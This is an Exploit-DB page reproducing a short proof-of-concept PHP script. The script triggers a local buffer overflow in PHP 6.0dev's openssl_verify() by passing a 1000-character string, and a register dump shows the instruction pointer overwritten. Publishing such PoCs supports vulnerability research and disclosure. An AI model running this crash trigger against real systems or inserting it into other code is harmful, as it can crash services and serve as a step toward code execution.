PHP 6.0 – ‘openssl_verify()’ Local Buffer Overflow (PoC)

  • 作者: Yakir Wizman
    日期: 2012-07-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/19963/
  • <?php
    // ==================================================================================
    //
    // PHP 6.0 openssl_verify() Local Buffer Overflow PoC
    //
    // Tested on WIN XP, Apache, PHP 6.0dev. Local Buffer Overflow.
    //
    // Local Buffer Overflow
    // Author: Pr0T3cT10n <pr0t3ct10n@gmail.com>
    //
    // ==================================================================================
    //
    // REGISTERS:
    // EAX 000003D0, ECX 00BBDB28, EDX 00BBDAD8
    // EBX 00BBC940, ESP 0012FB5C UNICODE "AAA...."
    // ESI 00BBC940, EDI 00831D00, EBP 0012FBF0 UNICODE "AAA...."
    // EIP 00410041
    //
    // ==================================================================================
    
    $buffer = str_repeat("A", 1000);
    openssl_verify(1,1,$buffer);
    ?>